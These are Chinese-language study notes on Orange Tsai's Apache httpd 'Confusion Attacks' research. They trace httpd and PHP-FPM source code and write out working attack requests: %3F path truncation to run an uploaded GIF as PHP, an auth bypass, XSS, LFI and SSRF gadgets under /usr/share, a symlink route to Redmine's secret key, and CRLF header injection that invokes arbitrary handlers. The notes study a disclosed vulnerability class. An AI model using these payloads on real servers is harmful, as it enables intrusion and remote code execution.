# Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server! 閱讀筆記
## source
來自orange大大發表的 https://blog.orange.tw/2024/08/confusion-attacks-ch.html
apache source code
https://github.com/apache/httpd/
## 前言
挑選apache的原因是,整個 Httpd 的服務需要由數百個小模組合作完成客戶端的 HTTP 請求,但是在彼此模組間實作理解上的差異及不了解,可能導致漏洞(中間那塊是模組彼此共享的大struct)
官方列出的模組:
https://httpd.apache.org/docs/2.4/mod/
![image](https://hackmd.io/_uploads/B1Mzb5Q90.png)
## way to run php
1. mod_php
2. php_fpm
3. mod_fastcgi
4. ...
# 攻擊面1: Confusion Attacks
## Filename Confusion
首先`r->filename` 感覺是個檔案系統路徑,然而在 Httpd 中,有些模組會把它當成網址來處理
如下,mod_rewrite(RewriteRule 語法將路徑透過指定的規則改寫)會把它當網址處理
```
RewriteRule Pattern Substitution [flags]
```
像是
```config=
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
```
若我們請求 `http://server/user/orange`
根據/user後面找到/orange放入$1
來抓到
```
/var/user/orange/profile.yml
```
https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141
```c
/*
* Apply a single RewriteRule
*/
static int apply_rewrite_rule(rewriterule_entry *p, rewrite_ctx *ctx)
{
ap_regmatch_t regmatch[AP_MAX_REG_MATCH];
apr_array_header_t *rewriteconds;
rewritecond_entry *conds;
// [...]
for (i = 0; i < rewriteconds->nelts; ++i) {
rewritecond_entry *c = &conds[i];
rc = apply_rewrite_cond(c, ctx);
// [...] do the remaining stuff
}
/* Now adjust API's knowledge about r->filename and r->args */
r->filename = newuri;
if (ctx->perdir && (p->flags & RULEFLAG_DISCARDPATHINFO)) {
r->path_info = NULL;
}
splitout_queryargs(r, p->flags); // <------- [!!!] Truncate the `r->filename`
// [...]
}
```
這邊看到
```c
splitout_queryargs(r, p->flags)
```
追進去看到 https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L771
```c
static void splitout_queryargs(request_rec *r, int flags)
{
char *q;
int split, skip;
int qsappend = flags & RULEFLAG_QSAPPEND;
int qsdiscard = flags & RULEFLAG_QSDISCARD;
int qslast = flags & RULEFLAG_QSLAST;
if (flags & RULEFLAG_QSNONE) {
rewritelog((r, 2, NULL, "discarding query string, no parse from substitution"));
r->args = NULL;
return;
}
/* don't touch, unless it's a scheme for which a query string makes sense.
* See RFC 1738 and RFC 2368.
*/
if ((skip = is_absolute_uri(r->filename, &split))
&& !split) {
r->args = NULL; /* forget the query that's still flying around */
return;
}
if (qsdiscard) {
r->args = NULL; /* Discard query string */
rewritelog((r, 2, NULL, "discarding query string"));
}
q = qslast ? ap_strrchr(r->filename + skip, '?') : ap_strchr(r->filename + skip, '?');
if (q != NULL) {
char *olduri;
apr_size_t len;
olduri = apr_pstrdup(r->pool, r->filename);
*q++ = '\0';
if (qsappend) {
if (*q) {
r->args = apr_pstrcat(r->pool, q, "&" , r->args, NULL);
}
}
else {
r->args = apr_pstrdup(r->pool, q);
}
if (r->args) {
len = strlen(r->args);
if (!len) {
r->args = NULL;
}
else if (r->args[len-1] == '&') {
r->args[len-1] = '\0';
}
}
rewritelog((r, 3, NULL, "split uri=%s -> uri=%s, args=%s", olduri,
r->filename, r->args ? r->args : "<none>"));
}
}
```
總之他會把?後面的參數省略掉,所以如果使用
%2F -> /
%3F -> ?
```
http://server/user/orange%2Fsecret.yml%3F
```
這樣會變成
```
/var/user/orange/secret.yml?profile.yml
```
問號後面被當參數省略
```
/var/user/orange/secret.yml
```
路徑截斷就達成了
## Mislead RewriteFlag Assignment
若管理員使用了下列方式設定
```
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
```
如果請求附檔名是 .php 結尾則加上 mod_php 相對應的處理器
https://httpd.apache.org/docs/2.4/rewrite/flags.html
這邊設置了
[H=application/x-httpd-php]
H -> header
意思是把.php,設置內容類型(MIME 類型),伺服器應將匹配的文件作為 PHP 文件處理
那如果我把一張 1.gif 設為
```
<?=`id`;>
```
如果單純請求
```
http://server/upload/1.gif
```
那理論上它是個.gif啥都不會執行
但是如果我這樣請求
```
http://server/upload/1.gif %3F ooo.php
```
因為結尾是.php所以接下來會把檔案強制解析成.php,接著?截斷把ooo.php丟棄,最後1.gif被當.php解析執行
```php
<?=`id`;>
```
印出
```
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
## ACL Bypass
what is apache ACL?
https://httpd.apache.org/docs/2.4/howto/access.html
Filename Confusion 的第二個攻擊手法發生在 mod_proxy 身上,相較前一個攻擊是無條件將目標當成網址處理,這次則是因為模組間對 r->filename 的理解不一致所導致的認證及存取控制繞過
mod_proxy 在做的事情就是將請求導向到其它網址上
所以會把 r->filename 解析成url
https://httpd.apache.org/docs/current/mod/core.html#files
首先是可以用apache server的file對於單一檔案加上限制,在預設安裝的 PHP-FPM 環境中,這種設定可以被直接繞過
```html
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
```
若我今天用這種方式請求
```
http://server/admin.php%3Fooo.php
```
此時 r->filename 欄位是 admin.php?ooo.php 理所當然與 admin.php 不符合
再來預設 PHP-FPM 在收到請求後預設透過set-handler -> mod_proxy
https://blog.csdn.net/qq_21956483/article/details/82847744
```html
# Using (?:pattern) instead of (pattern) is a small optimization that
# avoid capturing the matching pattern (as $1) which isn't used here
<FilesMatch ".+\.ph(?:ar|p|tml)$">
SetHandler "proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost"
</FilesMatch>
```
mod_proxy 會將 r->filename 重寫成以下網址
```
proxy:fcgi://127.0.0.1:9000/var/www/html/admin.php?ooo.php
```
後端在收到檔案名稱會進行特別處理
以下是處理邏輯
https://github.com/php/php-src/blob/ce51bfac759dedac1537f4d5666dcd33fbc4a281/sapi/fpm/fpm/fpm_main.c#L1044
```c
#define APACHE_PROXY_FCGI_PREFIX "proxy:fcgi://"
#define APACHE_PROXY_BALANCER_PREFIX "proxy:balancer://"
if (env_script_filename &&
strncasecmp(env_script_filename, APACHE_PROXY_FCGI_PREFIX, sizeof(APACHE_PROXY_FCGI_PREFIX) - 1) == 0) {
/* advance to first character of hostname */
char *p = env_script_filename + (sizeof(APACHE_PROXY_FCGI_PREFIX) - 1);
while (*p != '\0' && *p != '/') {
p++; /* move past hostname and port */
}
if (*p != '\0') {
/* Copy path portion in place to avoid memory leak. Note
* that this also affects what script_path_translated points
* to. */
memmove(env_script_filename, p, strlen(p) + 1);
apache_was_here = 1;
}
/* ignore query string if sent by Apache (RewriteRule) */
p = strchr(env_script_filename, '?');
if (p) {
*p =0;
}
}
```
一樣也可以看到針對 ? 進行截斷,取出實際的檔案路徑並執行 (也就是 /var/www/html/admin.php)
```c
p = strchr(env_script_filename, '?');
if (p)
*p = 0;
```
這樣就可以bypass file限制了
認證模組以及 mod_proxy 間對 r->filename 欄位理解的不一致 -> bypass
![image](https://hackmd.io/_uploads/BkXOSjQ9R.png)
總結
```
HTTP -> access checker -> /var/www/html/admin.php?ooo.php(r->filename)
HTTP -> mod_proxy -> proxy:fcgi://127.0.0.1:9000/var/www/html/admin.php?ooo.php
?截斷,訪問proxy:fcgi://127.0.0.1:9000/var/www/html/admin.php
```
# 攻擊面2: DocumentRoot Confusion
針對這個設定
```html
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
```
若訪問這樣
```
http://server/html/about
```
會訪問到 /var/www/html/about.html 還是 /about.html 呢?
ans: 兩個都會
因為httpd會去嘗試存取帶有 DocumentRoot 的路徑以及沒有的路徑
https://github.com/apache/httpd/blob/c3ad18b7ee32da93eabaae7b94541d3c32264340/modules/mappers/mod_rewrite.c#L4939
```c
if(!(conf->options & OPTION_LEGACY_PREFIX_DOCROOT)) {
uri_reduced = apr_table_get(r->notes, "mod_rewrite_uri_reduced");
}
if (!prefix_stat(r->filename, r->pool) || uri_reduced != NULL) { // <------ [1] access without root
int res;
char *tmp = r->uri;
r->uri = r->filename;
res = ap_core_translate(r); // <------ [2] access with root
r->uri = tmp;
if (res != OK) {
rewritelog((r, 1, NULL, "prefixing with document_root of %s"
" FAILED", r->filename));
return res;
}
rewritelog((r, 2, NULL, "prefixed with document_root to %s",
r->filename));
}
rewritelog((r, 1, NULL, "go-ahead with %s [OK]", r->filename));
return OK;
}
```
https://httpd.apache.org/docs/current/rewrite/remapping.html#rewrite-query
從官方範例文件可以看到一些有問題的寫法
```
RewriteRule "^/html/(.*)$" "/$1.html"
```
```
RewriteRule "^(.*)\.(css|js|ico|svg)" "$1\.$2.gz"
```
若能控 RewriteRule 的目標前綴那我們是不是就能瀏覽作業系統上的任意檔案了嗎?
開始基於項設定做攻擊
```
RewriteEngine On
RewriteRule "^/html/(.*)$" "/$1.html"
```
### Local Gadgets Manipulation!
到了這邊,或許會想說可以去讀像是`/etc/passwd`等任意檔案但其實不然,原因是
```
<Directory />
AllowOverride None
Require all denied
</Directory>
```
https://luckymrwang.github.io/2015/06/03/Apache-AllowOverride-None-%E5%8F%8A-Option-%E8%AF%A6%E8%A7%A3/
https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115
apache內建把根目錄及其所有子目錄的存取禁用,他會忽略.htaccess的rewrite規則,避免了危險的rewrite
不過這邊發現了 ubuntu/debian上
https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165
```
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
```
/usr/share是被允許存取的,所以可以嘗試利用這份文件中,所有的教學範例、說明文件、單元測試檔案來濫用
也就是把檔案當gadget串出各種攻擊
#### Local Gadget to Information Disclosure
websocketd:
/usr/share/doc/websocketd/examples/php/ 下的範例php可以leak 敏感環境變數
https://github.com/Textalk/websocket-php/tree/master/examples
像是NGINX跟jetty也有許多可以利用,這些服務的預設 Web Root 就在 /usr/share,所以可以讀出很多敏感資訊
/usr/share/nginx/html/
/usr/share/jetty9/etc/
/usr/share/jetty9/webapps/
另外像是Davical 套件所存在的 setup.php可以讀出phpinfo
![image](https://hackmd.io/_uploads/SJYOUqdi0.png)
#### Local Gadget to XSS
/usr/share/libreoffice/help/help.html
```php
var url = window.location.href;
var n = url.indexOf('?');
if (n != -1) {
// the URL came from LibreOffice help (F1)
var version = getParameterByName("Version", url);
var query = url.substr(n + 1, url.length);
var newURL = version + '/index.html?' + query;
window.location.replace(newURL);
} else {
window.location.replace('latest/index.html');
}
```
這是libreoffice提供的語言切換功能
這上面把version放入到index.html前,所以newURL被加入js就可以達成XSS
> /usr/share/libreoffice/help/help.html??Version=javascript:aler(1)//
#### Local Gadget to LFI
JpGraph、jQuery-jFeed、 WordPress 或 Moodle 外掛等自帶的教學或debug檔案可以串出LFI
/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
/usr/share/javascript/jquery-jfeed/proxy.php
/usr/share/moodle/mod/assignment/type/wims/getcsv.php
https://github.com/jfhovinne/jFeed/blob/master/proxy.php
```php
<?php
header('Content-type: application/xml');
$handle = fopen($_REQUEST['url'], "r");
if ($handle) {
while (!feof($handle)) {
$buffer = fgets($handle, 4096);
echo $buffer;
}
fclose($handle);
}
?>
```
fopen未過濾導致任意讀
![image](https://hackmd.io/_uploads/rJpZ_cdoA.png)
#### Local Gadget to SSRF
MagpieRSS -> magpie_debug.php
```php=
...
if ( isset($_GET['url']) ) {
$url = $_GET['url'];
}
else {
$url = 'http://magpierss.sf.net/test.rss';
}
test_library_support();
$rss = fetch_rss( $url );
...
```
fetch_rss可以做SSRF
https://github.com/cogdog/feed2js/blob/master/magpie_debug.php
#### Local Gadget to RCE
舊版本的phpunit檔案存在可以直接用CVE-2017-9841
https://github.com/vulhub/vulhub/tree/master/phpunit/CVE-2017-9841
phpLiteAdmin預設密碼admin
### Jailbreak from Local Gadgets
接下來是跳脫出/usr/share
Httpd 發行版中預設開啟了 FollowSymLinks
https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L160
```
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
```
所以可以利用symlink機制來讀到以外的檔案
https://httpd.apache.org/docs/current/mod/core.html#options
#### Jailbreak from Local Gadgets
```
Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/
```
#### Jailbreak Local Gadgets to Redmine RCE
Redmine的雙層symlink 到 RCE
```
$ file /usr/share/redmine/instances/
symbolic link to /var/lib/redmine/
$ file /var/lib/redmine/config/
symbolic link to /etc/redmine/default/
$ ls /etc/redmine/default/
database.yml secret_key.txt
```
從/usr/share跳到/var/lib/redmine,繼續跳到/etc/redmine讀取到了secret key
secret_key.txt是簽章所使用的 -> RoR
已知的金鑰將惡意 Marshal 物件簽章加密後嵌入 Cookie,接著透過伺服器端的反序列化最終實現遠端程式碼
https://drive.google.com/file/d/1UMxphxFxwRf7wbrw4_Hr56KGPzpLU3Ef/view
![image](https://hackmd.io/_uploads/SkBrj5OoA.png)
# 攻擊面3:Handler Confusion
這兩種都可以讓php跑起來
```
AddHandler application/x-httpd-php .php
AddType application/x-httpd-php .php
```
https://github.com/apache/httpd/blob/2.4.58/server/config.c#L420
```c
AP_CORE_DECLARE(int) ap_invoke_handler(request_rec *r) {
// [...]
if (!r->handler) {
if (r->content_type) {
handler = r->content_type;
if ((p=ap_strchr_c(handler, ';')) != NULL) {
char *new_handler = (char *)apr_pmemdup(r->pool, handler,
p - handler + 1);
char *p2 = new_handler + (p - handler);
handler = new_handler;
/* exclude media type arguments */
while (p2 > handler && p2[-1] == ' ')
--p2; /* strip trailing spaces */
*p2='\0';
}
}
else {
handler = AP_DEFAULT_HANDLER_NAME;
}
r->handler = handler;
}
result = ap_run_handler(r);
```
來讀讀這段code
先檢查 r->handler 是否已設置
如果 r->handler 沒有設置,代碼會嘗試根據 r->content_type 來設置它。
根據 r->content_type 設置 handler
如果 r->content_type 已設置,代碼會將其值賦給 handler。
如果 r->content_type 沒有設置,則使用默認的 handler(AP_DEFAULT_HANDLER_NAME)
調用 ap_run_handler:
最後,通過 `ap_run_handler(r)` 調用 handler 來處理請求。
因此兩種方法都可以找到對的handler
## Overwrite the Handler
若 apache HTTP Server 透過 AddType 將 PHP 運行起來
```
AddType application/x-httpd-php .php
```
呼叫
`http://server/config.php`
type_checker 根據 addtype 設定的附檔名將相對應的內容複製到 r->content_type
而整個http週期並未給r -> handler賦值
r->content_type在進入到ap_invoke_handler前被拿來當成模組處理器使用
看到上述的source 也可以看到會根據 r->content_type 設置 handler
但是,若進入ap_invoke_handler前r->content_type會發生甚麼問題呢
## Overwrite Handler to Disclose PHP Source Code
首先可以去看看這篇
https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf
若是用了錯誤的contenet length,除了報錯外,也會回傳php source code
![image](https://hackmd.io/_uploads/B1_48jOi0.png)
ModSecurity 在使用 APR 沒有檢查好回傳值
導致r -> content_type被改寫成了text/html,因為它會想要丟一個錯誤的頁面而被覆寫
這就回傳了兩個回應
一個是錯誤頁面
一個是應該用application/x-httpd-php的php頁面,被覆蓋成text/html當文字回傳
造成了double response
https://github.com/owasp-modsecurity/ModSecurity/issues/2514
## Invoke Arbitrary Handlers
然而觀察到一件事情是,其實只要能夠寫掉r -> content_type就會造成呼叫任意 Apache HTTP Server 的內部模組處理器
然而發生問題的地方位於最後段
![image](https://hackmd.io/_uploads/r1l9ijOo0.png)
到底要怎麼觸發
這邊基於這個來做
```php
use CGI;
my $q = CGI->new;
my $redir = $q->param("r");
if ($redir =~ m{^https?://}) {
print "Location: $redir\n";
}
print "Content-Type: text/html\n\n";
```
這是一段有問題的寫法,因為redir可控,導致了CRLF注入,從而造成了可以偽造標頭
https://ithelp.ithome.com.tw/articles/10242682
另外看一下RFC
https://datatracker.ietf.org/doc/html/rfc3875
他規定了網址轉址的規範
接下來就是開始追code
```c
if ((ret = ap_scan_script_header_err_brigade_ex(r, bb, sbuf, // <------ [1]
APLOG_MODULE_INDEX)))
{
ret = log_script(r, conf, ret, dbuf, sbuf, bb, script_err);
// [...]
if (ret == HTTP_NOT_MODIFIED) {
r->status = ret;
return OK;
}
return ret;
}
location = apr_table_get(r->headers_out, "Location");
if (location && r->status == 200) {
// [...]
}
if (location && location[0] == '/' && r->status == 200) { // <------ [2]
/* This redirect needs to be a GET no matter what the original
* method was.
*/
r->method = "GET";
r->method_number = M_GET;
/* We already read the message body (if any), so don't allow
* the redirected request to think it has one. We can ignore
* Transfer-Encoding, since we used REQUEST_CHUNKED_ERROR.
*/
apr_table_unset(r->headers_in, "Content-Length");
ap_internal_redirect_handler(location, r); // <------ [3]
return OK;
}
```
這裡檢查了Location標頭是否存在且以/開頭,並且HTTP狀態碼是200(即請求成功)。這代表伺服器希望將客戶端重定向到同一個伺服器上的不同位置
當需要進行重定向時,這行代碼會處理內部重定向。也就是說,伺服器會把當前的請求路徑替換成Location標頭指定的新路徑,然後重新處理請求
```c
AP_DECLARE(void) ap_internal_redirect_handler(const char *new_uri, request_rec *r)
{
int access_status;
request_rec *new = internal_internal_redirect(new_uri, r); // <------ [1]
/* ap_die was already called, if an error occured */
if (!new) {
return;
}
if (r->handler)
ap_set_content_type(new, r->content_type); // <------ [2]
access_status = ap_process_request_internal(new); // <------ [3]
if (access_status == OK) {
access_status = ap_invoke_handler(new); // <------ [4]
}
ap_die(access_status, new);
}
```
追進去ap_internal_redirect_handler看發現了關鍵
```
ap_set_content_type(new, r->content_type);
```
直接copy過來
所以就有一個新的http流程了
![image](https://hackmd.io/_uploads/BJVXAiusC.png)
![image](https://hackmd.io/_uploads/SkfERjusC.png)
最後回來看CRLF的部分
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
```
這樣來偽造content-type
![image](https://hackmd.io/_uploads/ByoHRodsA.png)
這樣任意控handler
就可以用惡意的圖片等,然後用想要的handler去把圖片當腳本用來執行
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/uploads/avatar.webp %0d%0a
Content-Type:application/x-httpd-php %0d%0a
%0d%0a
```
## Arbitrary Handler to RCE
https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
## 結語
其中我最喜歡的兩個部分第一個是把檔案當gadget用,透過伺服器上現有的不管是教學檔案或是任何文件濫用,串出了RCE
另外透過symlink來跳脫出當前目錄,去濫用到其他目錄的檔案,串出了RCE
原本開發者以為安全的教學文件(因為使用者戳不到)但在因為一個?被截斷後,導致存取到了伺服器上的其他資源,以及藉由方便的symlink跳脫出目錄,十分的新穎,原本看似無害的東西,透過一連串的觸發,達成RCE,真的很酷
膜拜orange orz
這邊挖個坑,日後會來復現